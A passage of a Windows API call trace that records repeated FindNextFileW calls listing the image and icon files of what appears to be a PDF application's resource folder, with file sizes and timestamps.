dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0259.405] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbbe3ee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.406] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee2ed3e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee2ed3e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee2ed3e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xd46, dwReserved0=0x0, dwReserved1=0x0, cFileName="a12-pdf.svg", cAlternateFileName="")) returned 1 [0259.407] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee2ed3e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee2ed3e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee2ed3e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe8d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="activate-more-tools-2x.png", cAlternateFileName="ACTIVA~2.PNG")) returned 1 [0259.407] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee08adc, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee08adc, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee08adc, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x57b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="activate-more-tools.png", cAlternateFileName="ACTIVA~1.PNG")) returned 1 [0259.407] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee54f97, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee54f97, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee54f97, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbcf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="add-comment-2x.png", cAlternateFileName="ADD-CO~1.PNG")) returned 1 [0259.407] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef8c3495, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xef8c3495, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xef8c3495, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x42a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="add-comment.png", cAlternateFileName="ADD-CO~2.PNG")) returned 1 [0259.407] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6f9869, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xef6f9869, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xef76c0ee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x52a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="beta-dynamic-pdf-2x.png", cAlternateFileName="BETA-D~2.PNG")) returned 1 [0259.407] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef52fc96, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xef52fc96, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xef52fc96, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x29ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="beta-dynamic-pdf.png", cAlternateFileName="BETA-D~1.PNG")) returned 1 [0259.407] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef8c3495, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xef8c3495, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xef8c3495, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xae41, dwReserved0=0x0, dwReserved1=0x0, cFileName="beta-feedback-2x.png", cAlternateFileName="BETA-F~2.PNG")) returned 1 [0259.407] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee08adc, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee08adc, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee08adc, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6836, dwReserved0=0x0, dwReserved1=0x0, cFileName="beta-feedback.png", cAlternateFileName="BETA-F~1.PNG")) returned 1 [0259.407] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefbbe3ee, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbbe3ee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbbe3ee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x14785, dwReserved0=0x0, dwReserved1=0x0, cFileName="beta-getting-started-2x.png", cAlternateFileName="BETA-G~2.PNG")) returned 1 [0259.407] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee54f97, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee54f97, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee54f97, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="beta-getting-started.png", cAlternateFileName="BETA-G~1.PNG")) returned 1 [0259.407] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef8c3495, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xef8c3495, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xef8c3495, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9ca2, dwReserved0=0x0, dwReserved1=0x0, cFileName="beta-mobile-2x.png", cAlternateFileName="BETA-M~2.PNG")) returned 1 [0259.407] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee7b1ce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee7b1ce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee7b1ce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x55bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="beta-mobile.png", cAlternateFileName="BETA-M~1.PNG")) returned 1 [0259.407] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x17bc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BringContenttoLife-2x.png", cAlternateFileName="BRINGC~1.PNG")) returned 1 [0259.407] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef52fc96, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xef52fc96, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xef555eb8, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x8337, dwReserved0=0x0, dwReserved1=0x0, cFileName="BringContenttoLife.png", cAlternateFileName="BRINGC~2.PNG")) returned 1 [0259.408] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee2ed3e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee2ed3e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee2ed3e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x73e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome-ext-2x.png", cAlternateFileName="CHROME~1.PNG")) returned 1 [0259.408] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef8c3495, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xef8c3495, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xef8c3495, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome-ext.png", cAlternateFileName="CHROME~2.PNG")) returned 1 [0259.408] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee2ed3e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee2ed3e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee2ed3e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="close.png", cAlternateFileName="")) returned 1 [0259.408] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee54f97, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee54f97, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee54f97, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="close.svg", cAlternateFileName="")) returned 1 [0259.408] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef82ab5f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xef82ab5f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xef82ab5f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="close_dark.svg", cAlternateFileName="CLOSE_~1.SVG")) returned 1 [0259.408] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa451, dwReserved0=0x0, dwReserved1=0x0, cFileName="combine-files-2x.png", cAlternateFileName="COMBIN~1.PNG")) returned 1 [0259.408] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6ad42f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xef6ad42f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xef6ad42f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x389e, dwReserved0=0x0, dwReserved1=0x0, cFileName="combine-files.png", cAlternateFileName="COMBIN~2.PNG")) returned 1 [0259.408] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef555eb8, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xef555eb8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xef555eb8, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa695, dwReserved0=0x0, dwReserved1=0x0, cFileName="compare-2x.png", cAlternateFileName="COMPAR~1.PNG")) returned 1 [0259.408] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee2ed3e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee2ed3e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee2ed3e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="compare.png", cAlternateFileName="")) returned 1 [0259.408] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x14594, dwReserved0=0x0, dwReserved1=0x0, cFileName="digsig-2x.png", cAlternateFileName="DIGSIG~1.PNG")) returned 1 [0259.408] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee08adc, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee08adc, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee08adc, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7ef5, dwReserved0=0x0, dwReserved1=0x0, cFileName="digsig.png", cAlternateFileName="")) returned 1 [0259.408] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee08adc, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee08adc, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee08adc, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa536, dwReserved0=0x0, dwReserved1=0x0, cFileName="edit-pdf-2x.png", cAlternateFileName="EDIT-P~1.PNG")) returned 1 [0259.408] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee08adc, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee08adc, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee08adc, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3745, dwReserved0=0x0, dwReserved1=0x0, cFileName="edit-pdf.png", cAlternateFileName="")) returned 1 [0259.409] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef850dc5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xef850dc5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xef876fe4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c6fca, dwReserved0=0x0, dwReserved1=0x0, cFileName="editvideoimage.png", cAlternateFileName="EDITVI~1.PNG")) returned 1 [0259.409] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee2ed3e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee2ed3e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee2ed3e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x52d, dwReserved0=0x0, dwReserved1=0x0, cFileName="error-icon.png", cAlternateFileName="ERROR-~1.PNG")) returned 1 [0259.409] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee2ed3e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee2ed3e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee2ed3e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xab2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="fill-sign-2x.png", cAlternateFileName="FILL-S~2.PNG")) returned 1 [0259.411] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ae4, dwReserved0=0x0, dwReserved1=0x0, cFileName="fill-sign.png", cAlternateFileName="FILL-S~1.PNG")) returned 1 [0259.411] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee54f97, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee54f97, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee54f97, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x8ea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="find-text-2x.png", cAlternateFileName="FIND-T~1.PNG")) returned 1 [0259.411] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef89d221, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xef89d221, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xef8c3495, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2df1, dwReserved0=0x0, dwReserved1=0x0, cFileName="find-text.png", cAlternateFileName="FIND-T~2.PNG")) returned 1 [0259.411] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee08adc, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee08adc, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee08adc, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x101e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="flags.png", cAlternateFileName="")) returned 1 [0259.411] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef82ab5f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xef82ab5f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xef82ab5f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2df63, dwReserved0=0x0, dwReserved1=0x0, cFileName="flags@2x.png", cAlternateFileName="")) returned 1 [0259.411] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef555eb8, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xef555eb8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xef555eb8, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xf1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="fullscreen-exit-hover.svg", cAlternateFileName="FU460E~1.SVG")) returned 1 [0259.411] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee2ed3e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee2ed3e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee2ed3e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xf16, dwReserved0=0x0, dwReserved1=0x0, cFileName="fullscreen-exit-press.svg", cAlternateFileName="FULLSC~4.SVG")) returned 1 [0259.411] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xfc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="fullscreen-exit.svg", cAlternateFileName="FULLSC~1.SVG")) returned 1 [0259.411] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee08adc, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee08adc, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee08adc, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe35, dwReserved0=0x0, dwReserved1=0x0, cFileName="fullscreen-hover.svg", cAlternateFileName="FULLSC~2.SVG")) returned 1 [0259.411] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef82ab5f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xef82ab5f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xef82ab5f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="fullscreen-press.svg", cAlternateFileName="FU8941~1.SVG")) returned 1 [0259.411] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee08adc, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee08adc, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee08adc, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xf28, dwReserved0=0x0, dwReserved1=0x0, cFileName="fullscreen.svg", cAlternateFileName="FULLSC~3.SVG")) returned 1 [0259.411] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee08adc, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee08adc, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee08adc, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x11296, dwReserved0=0x0, dwReserved1=0x0, cFileName="get-e-signatures-2x.png", cAlternateFileName="GET-E-~1.PNG")) returned 1 [0259.412] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef555eb8, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xef555eb8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xef6ad42f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6840, dwReserved0=0x0, dwReserved1=0x0, cFileName="get-e-signatures.png", cAlternateFileName="GET-E-~2.PNG")) returned 1 [0259.412] FindNextFileW (in: hFindFile=0x33e48e8, 